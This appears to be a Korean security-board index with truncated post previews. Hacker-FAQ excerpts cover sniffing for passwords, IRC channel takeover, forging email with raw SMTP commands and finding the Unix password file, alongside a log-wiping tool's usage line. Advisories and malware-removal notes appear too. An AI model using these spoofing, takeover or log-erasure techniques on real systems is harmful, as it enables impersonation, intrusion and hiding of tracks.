[해킹정보]  internet outdial에는 무엇이 있는가? Area Address(s) Command(s) ------ ------------------------------- --------------------- 201 128.112.88.0 128.112.88.1 128.112.88.2 128.112.88.3 204 umnet.cc.manitoba.ca "dial12" or "dial24" 206 dialout24.cac.washington.edu 215 ...
[해킹정보]  ethrnet sniiffing(이더넷 추척)은 무엇인가? Ethernet sniffing 이란,자신이 찾고자 하는 정보를 발견하기 위해서 전송상태를 감시하는 것을 의미한다. 즉 어떤 조건에 맞는 자료르 프로그램이 발견하게 되면, 그 내용은 프로그램에 의해 파일로 저장이 된다. 정보를 알아내기 위하여 일반적으로 가장많이 쓰이는 조건은 'login',또는 'password'와 같은 단어들이다. 많은 Ethernet sniffers 가 있으며,다음은 그 예들이다. 시스템에 따른 스니터와 스니퍼가 있는 FTP OS Sniffer ~~ ...
[해킹정보]  어떻게 IRC(인터넷 채팅)의 CHANOP에 침투하는가? IRC로부터 떨어져 나온 sever를 찾아서 원하는 이름으로 channel을 만들어라. sever가 net에 다시 접속할 때 실제적인 channel이 있는 ChanOp를 소유하게 될 것이다. sever에서 ServerOp 를 가지고 있다면 의도적으로 분리시킬 수 도 있다. 15.나의 사용자 이름을 숨기려면 IRC클라이언트를 어떻게 수정하는가? cs.bu.edu /irc/clients에 있는 irc.c 와 ctcp.c 의 내용을 변경하면 된다. irc.c에서는 사용자이름,ctcp.c에서는 개인정보 부분을 수정한 후에 컴파일을...
[해킹정보]  가짜메일(FAKEMAIL)을 어떻게 보내는가? 메일이 원형대로 나타나기를 원하는 시스템에 접속한 후, 다음처럼 메세지를 작성하라. HELO bellcore.com MAIL FROM:Voyager@bellcore.com RCPT TO:president@whitehouse.gov DATA Please discontinue your silly Clipper initiative. . QUIT RFC 931을 사용하는 시스템에서는 "MAIL FROM:"이라는 부분은 가능하지 않다. 우선 자신에게 메일을 보냄으로써 테스트를 해본다. 더많은 자료는 RFC 822 "S...
[해킹정보]  해킹테크닉에 대한 주요 FAQ 모음 1.어떻게 유닉스 패스워드 화일에 접근할 수 있는가? 표준 유닉스에서는 password file 이 /etc/passwd이다. NIS/yp 또는 password shadowing을 이용하는 유닉스 시스템에서는 패스워드화일이 다를 수 있 다. 2.어떻게 유닉스 패스워드를 깨뜨리나? 일반적으로 유닉스 패스워드는 특수한 함수로 암호화가되어 있어 해독이 상당히 어렵다. login 프 로그램은 password:에서 입력한 문자들을 암호화하며,이렇게 암호화된 문자열은 유닉스에 저장되 어 있는 기존의 암호화된 문자열과 비교가 된다. ...
[해킹정보]  보안을 도와주는 도구에는 어떤 것들이 있는가? (1)'COPS' Dan Farmer에 의해 개발된 이 프로그램은 보안 상태를 검사해주는 기능을 하는 shell script이다. 기초적인 password cracker,setuid 프로그램에서 의심스런 변화 를 알아보기 위해 파일시스템을 검사하는 기능,기본 시스템과 사용자 파일의 permission을 검사하는 기능,문제를 일으킬만한 행동을 하는 시스템 프로그램을 검사하는 등의 기능을 가지고있다. (2)'CRACK'(+'UFC') Alec Muffett에 의해 개발된 이 프로그램은,외부인에 쉽게 노출될 가능성이있는 ...
[해킹정보]  시스템의 보안을 저해하는 요소는 무엇인가? 진정으로 안전한 시스템은 파워를 끄고 코드를 뺀 후에 티타늄 선으로 묶어서 콘크리트로 밀봉을 하고 독가스를 채워서 최신의 무기를 가진 경비원으로 보호 를 하는 것이다. 그러나 그렇다고 하더라도 누구도 거기에 자신의 생명을 걸만 큼 안전하다고 자신하지는 못한다. 시스템의 보안 여부는 그것을 사용하는 사람들에게 달려있다. 시스템을 사용하 는 모든 사람들이 자기들의 시스템을 아무 문제 없이 이용하기 위해서 나름대로 책임감을 갖고 임한다면 특별한 보호장치 없이도 안전하게 유지될것이다. 많은 실험실에 있는 PC들은 이런...
[해킹정보]  바이러스 심어놓기 해커들이 시스템을 해킹하는데 기본적으로 특정 트로이 목마 바이러스를 심어놓는 경우가 있다. 과거 하이텔에 해커가 프리웨어인 에뮬레이터를 등록을 시킨후 각 사용자들이 이 소프트를 다운받은 후 호스트에 연결하면 사용자명과 암호를 에뮬레이터가 동시에 해커의 메일사서함앞으로 접속한 사람의 사용자명과 암호를 전송시킨 사건이 있다. 이와같은 경우를 트로이목마라고 하는데 창의력을 요구하는 해킹기법으로 해커가 해커자신에게 최고권한사용자와 같은 지위를 주게끔 프로그램을 작성, 시스팀안에 삽입을 해놓고 기다리다가 시스팀운영자 즉 최고권한사용자...
[해킹정보]  해커의 정체를 밝힌다 해커란 해킹을 하는 사람을 뜻한다. 대부분의 해커들은 단지 그들의 실력을 뽐내기 위함이다. 매년 암스텔담에서는 국제 해커 대회가 열리기까지 한다. 순수한 의미에서 그들은 단지 시스템을 뚫고 암호를 깨고 하는 일등에 만족한다. 미국 MIT에서 시작된 해커 문화는 사실 초기 컴퓨터 및 시스템 소프트웨어의 개발에 결정적인 역할을 했고 지금도 몇몇 사람은 컴퓨터 업계를 주름잡고 있다. 마지막 해커로 일컬어지는 리처드 스톨만의 경우 GNU시스템의 C 컴파일러와 EMACS를 개발 했 다. 그는 상업적인 소프트웨어의 저작권(C...
[해킹정보]  핵가택200 Server 레지스터 변형 과정 An entry has been changed in HKEY_LOCAL_MACHINE. ==================================== Your registry contains several areas where programs may be set to start at boot time. The programs may be set to run every time, run only once, or run as a system service (Win95/Win98 only). The changed entry w...
[해킹정보]  웹 애플리케이션 해킹 (Web Application Hacking) 1. 검증되지 않은 파라미터의 허용(Unvalidated Parameters) 클라이언트로부터 웹 애플리케이션이 요청을 받았을 때 그 요청이 적절한 값인지 여부를 검증하지 않음으로 인해 백엔드에 존재하는 허가되지 않은 자원에 접근할 수 있는 취약성이다. url, 쿼리 문, HTTP 헤더, 폼 필드, 쿠키, 그리고 숨겨진 필드 등의 웹 요청(HTTP request) 들을 강제로 브라우징 한다거나 명령어 삽입, SQL 문 삽입, 쿠키 위/변조등을 통해서 보안 메커니즘을 우회할 수 있게 된다. [예방 방법] 웹 요청에 대...
[예방자료]  윈도우 키로거 (key logger) Gina.DLL 삭제방법 악성코드 삽입공격이 다시 생기면서 windows(winnt)system32faxmode.inc 파일이 존재하는 경우가 종종 발견됩니다. 지워도 터미널로그인을 하면 다시 생기게 됩니다.참고 : http://hacked.tistory.com/2해당파일을 열어보면 윈도우 계정 , 패스워드가 로그인할때마다 남게 됩니다. 삭제해줘야 하는 파일은 windows(winnt)system32crypt2.dll  또는  gina**** .dll  파일명IDA 또는 간단히  메모장으로 c...
[예방자료]  Adobe Flash Player 및 Adobe Acrobat/Reader 신규 취약점 주의 (수정) 악의적인 Flash 파일 (확장자:SWF)을 재생하는 Adobe Flash Player 및 Adobe Acrobat/Reader에 원격 코드 실행 취약점이 발견 되었습니다[1,2]. 현재 해당 취약점을 통해 공격하는 사례가 발견되고 있으므로 사용자는 신뢰할 수 없는 사이트의 방문을 자제하고 출처가 불분명한 PDF 파일의 열람을 자제 부탁 드립니다.   [설 명]  o Adobe社는 본 취약점에 대해 보안 권고문(Security Advisory)을 발표함[3]    ※ 관련 CVE : CVE-...
[예방자료]  [MS 긴급 보안업데이트] Internet Explorer 관련패치 등 2개 Internet Explorer(MS09-034) 및 MS Visual Studio Active Template Library(MS09-035)취약점에 대한 MS 긴급보안업데이트가 발표되었으니, 조속히 패치하시기 바랍니다.   [MS09-034] Internet Explorer 누적 보안 업데이트   □ 영향   o 공격자가 영향 받는 시스템에 대해 완전한 권한 획득   □ 설명    o IE가 메모리 오브젝트 또는 테이블을 처리하거나 제거된 객체를 접근하는 방식의 문제점...
[일반자료실]  ClearLog (윈도우 이벤트 로그 삭제툴) ClearLogs 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)              - http://ntsecurity.nu/toolbox/clearlogs/ Usage: clearlogs [computername] <-app / -sec / -sys>         -app...
[일반자료실]  악성코드 분석툴 위 이미지와 같이 IE7 0Day 취약점과 같은 악성코드 분석시 유용하게 사용할수 있는 툴모음입니다.Sniff_hit , SysAnalyzer 는 유용하게 사용할수 있는 툴이죠.출처 : http://labs.idefense.com/software/malcode.php
[일반자료실]  Panda USB Vaccine v1.0.1.4 - USB를 통한 오토런 관련 악성코드 예방 Panda USB Vaccine은 이동형 저장매체인 USB나 CD/DVD를 통해 감염될 수 있는 악성 코드들을 예방할 수 있도록 오토런(Autorun) 기능을 제어해주는 프로그램입니다.스페인의 보안업체인 Panda Security사에서 무료로 배포해주는 프로그램으로 USB 드라이브나 메모리를 자주 사용하는 사용자들에게 유용합니다. 단, 이 프로그램은 악성 코드를 검색/삭제해주는 프로그램이 아니라 자동 실행을 금지해주는 기능만을 제공하므로 다른 백신 프로그램들과 같이 사용하는 게 좋습니다.프로그램은 Computer Vaccine...
[일반자료실]  Process Explorer v11.33 Process Explorer v11.33